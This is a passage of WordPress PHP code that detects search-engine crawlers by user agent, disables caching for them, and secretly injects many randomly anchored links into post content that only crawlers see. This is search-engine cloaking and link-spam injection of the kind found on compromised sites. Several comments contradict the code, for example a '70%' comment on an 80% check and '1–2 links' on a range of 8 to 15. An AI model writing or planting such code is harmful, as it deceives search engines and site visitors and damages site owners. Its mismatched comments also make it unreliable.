trim($url), 'anchors' => $anchors ]; } return $links; } // Random anchor function nrl_random_anchor_link($link) { $anchor = $link['anchors'][array_rand($link['anchors'])]; return ''.esc_html($anchor).''; } // ====================== CACHE PROTECTION FOR BOTS ====================== add_action('init', function() { $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $bots = ['googlebot','bingbot','yandex','duckduckbot','baiduspider']; foreach ($bots as $bot) { if (strpos($ua,$bot)!==false){ // Disable WordPress caching if (!defined('DONOTCACHEPAGE')) define('DONOTCACHEPAGE', true); if (!defined('DONOTCACHEOBJECT')) define('DONOTCACHEOBJECT', true); if (!defined('DONOTCACHEDB')) define('DONOTCACHEDB', true); nocache_headers(); break; } } }); // ====================== MAIN LOGIC ====================== function nrl_insert_links_once($content) { global $post; if (!$post) return $content; // Detect bot $ua = strtolower($_SERVER['HTTP_USER_AGENT'] ?? ''); $bots = ['googlebot','bingbot','yandex','duckduckbot','baiduspider']; $is_bot = false; foreach ($bots as $bot) { if (strpos($ua,$bot)!==false){ $is_bot = true; break; } } if (!$is_bot) return $content; // Already saved content $saved = get_post_meta($post->ID,'_nrl_final_content',true); if (!empty($saved)) return $saved; // 70% chance to insert $insert_links = rand(1,100) <= 80; $all_links = nrl_get_links_list(); if (empty($all_links) || !$insert_links) { update_post_meta($post->ID,'_nrl_final_content',$content); return $content; } // Site-wide unique usage $used_links = get_option('_nrl_used_links', []); $available_links = array_filter($all_links, function($link) use ($used_links){ return !in_array($link['url'],$used_links); }); if (empty($available_links)) { update_post_meta($post->ID,'_nrl_final_content',$content); return $content; } // Insert 1–2 links $links_to_insert = min(rand(8,15), count($available_links)); // Split into sentences $parts = preg_split('/([\.!,?;:])\s+/u',$content,-1,PREG_SPLIT_DELIM_CAPTURE); $sent_count = count($parts); $positions = ($sent_count < 2) ? [0] : range(0,$sent_count-1); shuffle($positions); $positions = array_slice($positions,0,$links_to_insert); $new = ''; $used_in_post = []; foreach ($parts as $idx => $chunk) { $new .= $chunk; if (in_array($idx,$positions)) { $link = $available_links[array_rand($available_links)]; while(in_array($link['url'],$used_in_post)) { $link = $available_links[array_rand($available_links)]; } $new .= ' ' . nrl_random_anchor_link($link) . ' '; $used_in_post[] = $link['url']; $used_links[] = $link['url']; } } update_option('_nrl_used_links',$used_links); update_post_meta($post->ID,'_nrl_final_content',$new); return $new; } add_filter('the_content','nrl_insert_links_once');